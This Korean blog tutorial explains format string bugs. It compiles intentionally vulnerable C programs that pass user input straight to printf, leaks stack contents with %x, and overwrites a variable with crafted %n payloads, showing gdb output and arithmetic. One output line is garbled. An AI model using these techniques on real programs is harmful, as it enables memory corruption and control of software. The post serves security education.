본문으로 바로가기

포맷스트링 버그 (Format String Bug)

category Security/리버싱 2017. 12. 1. 22:59

- 포맷스트링(Format String)

printf("Hex=0x%x", value[i]);

포맷스트링 = 포맷스트링 지시자(Format String Directive)


[EX]

# vi format.c

 

#include <stdio.h>


#define MAX 127


int main()

{

        int i, value[MAX];


        for(i=0; i<MAX; i++)

        {

                value[i]=i;

                printf("Hex=0x%x, DEC=%d, OCT=%o, CHAR=%c\n", value[i], value[i], value[i], value[i]);

        }

        printf("\n");

}

 

> 1~ 127 까지 숫자를 16진수 10진수 8진수 캐릭터 형으로 출력한다. 


# gcc -o format format.c

# ./format

 

Hex=0x0, DEC=0, OCT=0, CHAR=

Hex=0x1, DEC=1, OCT=1, CHAR=

Hex=0x2, DEC=2, OCT=2, CHAR=

Hex=0x3, DEC=3, OCT=3, CHAR=

Hex=0x4, DEC=4, OCT=4, CHAR=

Hex=0x5, DEC=5, OCT=5, CHAR=

Hex=0x6, DEC=6, OCT=6, CHAR=

Hex=0x7, DEC=7, OCT=7, CHAR=

Hex=0x8, DEC=8, OCT=10, CHAR=

Hex=0x9, DEC=9, OCT=11, CHAR=

Hex=0xa, DEC=10, OCT=12, CHAR=

Hex=0xb, DEC=11, OCT=13, CHAR=

Hex=0xc, DEC=12, OCT=14, CHAR=

Hex=0xd, DEC=13, OCT=15, CHAR=

Hex=0xe, DEC=14, OCT=16, CHAR=

H␊│=0│°, DEC=15, OCT=17, CHAR=

Hex=0x10, DEC=16, OCT=20, CHAR=

Hex=0x11, DEC=17, OCT=21, CHAR=

Hex=0x12, DEC=18, OCT=22, CHAR=

Hex=0x13, DEC=19, OCT=23, CHAR=

Hex=0x14, DEC=20, OCT=24, CHAR=

Hex=0x15, DEC=21, OCT=25, CHAR=

Hex=0x16, DEC=22, OCT=26, CHAR=

Hex=0x17, DEC=23, OCT=27, CHAR=

Hex=0x18, DEC=24, OCT=30, CHAR=

Hex=0x19, DEC=25, OCT=31, CHAR=

Hex=0x1a, DEC=26, OCT=32, CHAR=

Hex=0x1b, DEC=27, OCT=33, CHAR=

Hex=0x1c, DEC=28, OCT=34, CHAR=

Hex=0x1d, DEC=29, OCT=35, CHAR=

Hex=0x1e, DEC=30, OCT=36, CHAR=

Hex=0x1f, DEC=31, OCT=37, CHAR=

Hex=0x20, DEC=32, OCT=40, CHAR= 

Hex=0x21, DEC=33, OCT=41, CHAR=!

Hex=0x22, DEC=34, OCT=42, CHAR="

Hex=0x23, DEC=35, OCT=43, CHAR=#

Hex=0x24, DEC=36, OCT=44, CHAR=$

Hex=0x25, DEC=37, OCT=45, CHAR=%

Hex=0x26, DEC=38, OCT=46, CHAR=&

Hex=0x27, DEC=39, OCT=47, CHAR='

Hex=0x28, DEC=40, OCT=50, CHAR=(

Hex=0x29, DEC=41, OCT=51, CHAR=)

Hex=0x2a, DEC=42, OCT=52, CHAR=*

Hex=0x2b, DEC=43, OCT=53, CHAR=+

Hex=0x2c, DEC=44, OCT=54, CHAR=,

Hex=0x2d, DEC=45, OCT=55, CHAR=-

Hex=0x2e, DEC=46, OCT=56, CHAR=.

Hex=0x2f, DEC=47, OCT=57, CHAR=/

Hex=0x30, DEC=48, OCT=60, CHAR=0

Hex=0x31, DEC=49, OCT=61, CHAR=1

Hex=0x32, DEC=50, OCT=62, CHAR=2

Hex=0x33, DEC=51, OCT=63, CHAR=3

Hex=0x34, DEC=52, OCT=64, CHAR=4

Hex=0x35, DEC=53, OCT=65, CHAR=5

Hex=0x36, DEC=54, OCT=66, CHAR=6

Hex=0x37, DEC=55, OCT=67, CHAR=7

Hex=0x38, DEC=56, OCT=70, CHAR=8

Hex=0x39, DEC=57, OCT=71, CHAR=9

Hex=0x3a, DEC=58, OCT=72, CHAR=:

Hex=0x3b, DEC=59, OCT=73, CHAR=;

Hex=0x3c, DEC=60, OCT=74, CHAR=<

Hex=0x3d, DEC=61, OCT=75, CHAR==

Hex=0x3e, DEC=62, OCT=76, CHAR=>

Hex=0x3f, DEC=63, OCT=77, CHAR=?

Hex=0x40, DEC=64, OCT=100, CHAR=@

Hex=0x41, DEC=65, OCT=101, CHAR=A

Hex=0x42, DEC=66, OCT=102, CHAR=B

Hex=0x43, DEC=67, OCT=103, CHAR=C

Hex=0x44, DEC=68, OCT=104, CHAR=D

Hex=0x45, DEC=69, OCT=105, CHAR=E

Hex=0x46, DEC=70, OCT=106, CHAR=F

Hex=0x47, DEC=71, OCT=107, CHAR=G

Hex=0x48, DEC=72, OCT=110, CHAR=H

Hex=0x49, DEC=73, OCT=111, CHAR=I

Hex=0x4a, DEC=74, OCT=112, CHAR=J

Hex=0x4b, DEC=75, OCT=113, CHAR=K

Hex=0x4c, DEC=76, OCT=114, CHAR=L

Hex=0x4d, DEC=77, OCT=115, CHAR=M

Hex=0x4e, DEC=78, OCT=116, CHAR=N

Hex=0x4f, DEC=79, OCT=117, CHAR=O

Hex=0x50, DEC=80, OCT=120, CHAR=P

Hex=0x51, DEC=81, OCT=121, CHAR=Q

Hex=0x52, DEC=82, OCT=122, CHAR=R

Hex=0x53, DEC=83, OCT=123, CHAR=S

Hex=0x54, DEC=84, OCT=124, CHAR=T

Hex=0x55, DEC=85, OCT=125, CHAR=U

Hex=0x56, DEC=86, OCT=126, CHAR=V

Hex=0x57, DEC=87, OCT=127, CHAR=W

Hex=0x58, DEC=88, OCT=130, CHAR=X

Hex=0x59, DEC=89, OCT=131, CHAR=Y

Hex=0x5a, DEC=90, OCT=132, CHAR=Z

Hex=0x5b, DEC=91, OCT=133, CHAR=[

Hex=0x5c, DEC=92, OCT=134, CHAR=\

Hex=0x5d, DEC=93, OCT=135, CHAR=]

Hex=0x5e, DEC=94, OCT=136, CHAR=^

Hex=0x5f, DEC=95, OCT=137, CHAR=_

Hex=0x60, DEC=96, OCT=140, CHAR=`

Hex=0x61, DEC=97, OCT=141, CHAR=a

Hex=0x62, DEC=98, OCT=142, CHAR=b

Hex=0x63, DEC=99, OCT=143, CHAR=c

Hex=0x64, DEC=100, OCT=144, CHAR=d

Hex=0x65, DEC=101, OCT=145, CHAR=e

Hex=0x66, DEC=102, OCT=146, CHAR=f

Hex=0x67, DEC=103, OCT=147, CHAR=g

Hex=0x68, DEC=104, OCT=150, CHAR=h

Hex=0x69, DEC=105, OCT=151, CHAR=i

Hex=0x6a, DEC=106, OCT=152, CHAR=j

Hex=0x6b, DEC=107, OCT=153, CHAR=k

Hex=0x6c, DEC=108, OCT=154, CHAR=l

Hex=0x6d, DEC=109, OCT=155, CHAR=m

Hex=0x6e, DEC=110, OCT=156, CHAR=n

Hex=0x6f, DEC=111, OCT=157, CHAR=o

Hex=0x70, DEC=112, OCT=160, CHAR=p

Hex=0x71, DEC=113, OCT=161, CHAR=q

Hex=0x72, DEC=114, OCT=162, CHAR=r

Hex=0x73, DEC=115, OCT=163, CHAR=s

Hex=0x74, DEC=116, OCT=164, CHAR=t

Hex=0x75, DEC=117, OCT=165, CHAR=u

Hex=0x76, DEC=118, OCT=166, CHAR=v

Hex=0x77, DEC=119, OCT=167, CHAR=w

Hex=0x78, DEC=120, OCT=170, CHAR=x

Hex=0x79, DEC=121, OCT=171, CHAR=y

Hex=0x7a, DEC=122, OCT=172, CHAR=z

Hex=0x7b, DEC=123, OCT=173, CHAR={

Hex=0x7c, DEC=124, OCT=174, CHAR=|

Hex=0x7d, DEC=125, OCT=175, CHAR=}

Hex=0x7e, DEC=126, OCT=176, CHAR=~


 

> 처음에 몇개 안나오는 것들은 공백이나 엔터 ctrl 같은 표시할 수 없는 것들이다. 

> 아스키 테이블에 맞게 나왔다. 


-> 2진수로 저장된 값을 우리가 인식할 수 있는 형태로 바꿔 주는 것이 바로 printf() 함수와 같은 곳에 전달하는 포맷 스트링 인자이다. 


- 포맷 스트링 종류


%x    int          부호없는 16진수

%d    int          부호없는 10진수

%o    int          부호없는 8진수

%c    char        1개 문자

%s    char *      "\0" 까지 문자열

%p    void *      변수의 주소 16진수 출력

%n    int *        %n 이전까지의 문자열 바이트 수 쓰기


# vi format2.c

 

 #include <stdio.h>


int main(int argc, char *argv[])
{
        int a=10;
        char *RokHacker="I am ROKHacker!";
        char *SuperUser="I am SuperUser!";

        printf(argv[1]);
        printf("\n");
}

 

> \n 이 정확히 어떤 역할을 하는지 알아보자 


# gcc -mpreferred-stack-boundary=2 -o format2 format2.c 

-> 스택의 경계가 2바이트 단위로 증가하게 된다. 


# ./format2 %x

 

  8048420

 

> %x 라고 그대로 나오지 않고 이상한 숫자가 나왔다.  %x 를 스트링이 아니라 포맷스트링으로 인식했다. 


# ./format2 "%8x %8x %8x %8x %8x %8x %8x %8x"

 

 8048420  8048410        a bfffeff8 42015574        2 bffff024 bffff030

 



# gdb -q format2

 

(gdb) disas main

Dump of assembler code for function main:

0x08048328 <main+0>:    push   %ebp

0x08048329 <main+1>:    mov    %esp,%ebp

0x0804832b <main+3>:    sub    $0xc,%esp

0x0804832e <main+6>:    movl   $0xa,0xfffffffc(%ebp)

0x08048335 <main+13>:   movl   $0x8048410,0xfffffff8(%ebp)

0x0804833c <main+20>:   movl   $0x8048420,0xfffffff4(%ebp)

0x08048343 <main+27>:   mov    0xc(%ebp),%eax

0x08048346 <main+30>:   add    $0x4,%eax

0x08048349 <main+33>:   pushl  (%eax)

0x0804834b <main+35>:   call   0x8048268 <printf>

0x08048350 <main+40>:   add    $0x4,%esp

0x08048353 <main+43>:   push   $0x8048430

0x08048358 <main+48>:   call   0x8048268 <printf>

0x0804835d <main+53>:   add    $0x4,%esp

0x08048360 <main+56>:   leave

0x08048361 <main+57>:   ret

0x08048362 <main+58>:   nop

0x08048363 <main+59>:   nop

End of assembler dump.

(gdb) b *0x0804834b

Breakpoint 1 at 0x804834b

(gdb) r "%8x %8x %8x %8x %8x %8x %8x %8x"

Starting program: /root/bin/format2 "%8x %8x %8x %8x %8x %8x %8x %8x"


Breakpoint 1, 0x0804834b in main ()

(gdb) x/9x $esp

0xbfffe4c8:     0xbffffc36      0x08048420      0x08048410      0x0000000a

0xbfffe4d8:     0xbfffe4f8      0x42015574      0x00000002      0xbfffe524

0xbfffe4e8:     0xbfffe530

 



> 스택의 구조 

 

 4bytes

4bytes 

4bytes 

4bytes 

4bytes 

4bytes 

4bytes 

 4bytes

 

 

 *SuperUser

*ROKHacker 

SFP 

RET 

argc 

*argv 

*env 

 

 

 0x08048420

 0x08048410  

 0x0000000a

 0xbfffe4f8

 0x42015574

 0x00000002

  0xbfffe524

 0xbfffe530

 


> 스택의 주소를 출력했다는 점을 알았다. 


- 공격

%n 지정자를 사용하면 메모리의 값을 읽을 수 있을 뿐만 아니라 쓸 수도 있다. 


# vi format3.c

 

 #include <stdio.h>

#include <stdlib.h>


int main(int argc, char *argv[])

{

        static int i=0;

        char str[128];


        strcpy(str, argv[1]);

        printf(str);

        printf("\n i=%p, i=%d\n", &i, i);

}


 

> i의 주소를 바꿔보자 


# gcc -o format3 format3.c

# ./format3 "AAAA"

 

 AAAA

 i=0x8049484, i=0

 


# ./format3 "AAAA %8x"

 

 AAAA bffffc3c

i=0x8049484, i=0

 


# ./format3 "AAAA %8x %8x"

 

 AAAA bffffc38        0

 i=0x8049484, i=0

 


# ./format3 "AAAA %8x %8x %8x"

 

 AAAA bffffc34        0        0

 i=0x8049484, i=0

 


# ./format3 "AAAA %8x %8x %8x %8x"

 

 AAAA bffffc30        0        0 41414141

 i=0x8049484, i=0

 

> AAAA가 다시 나왔다 (0x41414141)

> printf(str)에서 AAAA를 출력하기 때문에 다시 나온다. 


> %8x 4번째에 나왔으므로 3번은 써서 넘기고 다음 번째를 바꾼다. 

> 바꾸는 i의 주소는 0x8049484 이고 스택에는 거꾸로 넣어야 빼낼때 차례로 나오기 때문에

84 / 94 / 04 / 08 로 입력한다. 


# ./format3 $(printf "\x84\x94\x04\x08")%8x%8x%8x%n

 

 꼉ffffc35       0       0

 i=0x8049484, i=28

 

> i의 값이 28로 바뀌었다. 

> 28인 이유는 %8x = 8 bytes  3개 있으니 24bytes , 그리고 i의 주소값 4bytes 를 합한 값이다. ( %n 앞에 있는 총 길이 )


# ./format3 $(printf "\x84\x94\x04\x08")%8x%8x%100x%n

 

 꼉ffffc33       0                                                                                                   0

 i=0x8049484, i=120

 

> 같은 이유로 %100x 가 100bytes이기 때문에 다 합하면 120이 된다. 


- i=120 으로 맞추는 다른 방법

# ./format3 $(printf "\x41\x41\x41\x41\x42\x42\x42\x42\x84\x94\x04\x08")%8x%8x%8x%8x%76x%n

> 앞에 뭘 쓰던 %n 앞의 크기가 120만 맞춰주면 된다. 

\x41\x41\x41\x41\x42\x42\x42\x42\x84\x94\x04\x08  4bytes씩 3개  = 12bytes

>  %8x%8x%8x%8x%76x  -> 8bytes 4개 = 32bytes  76bytes 1개  ---> 108bytes 

-> 12 + 108 = 120


# ./format3 $(printf "\x41\x41\x41\x41\x42\x42\x42\x42\x84\x94\x04\x08\x43\x43\x43\x43")%8x%8x%8x%8x%72x%n

\x41\x41\x41\x41\x42\x42\x42\x42\x84\x94\x04\x08\x43\x43\x43\x43  4bytes 4개 16bytes
%8x%8x%8x%8x%72x -> 8bytes 4개 = 32bytes 72bytes 1개 ---> 104bytes
> 16 + 104 = 120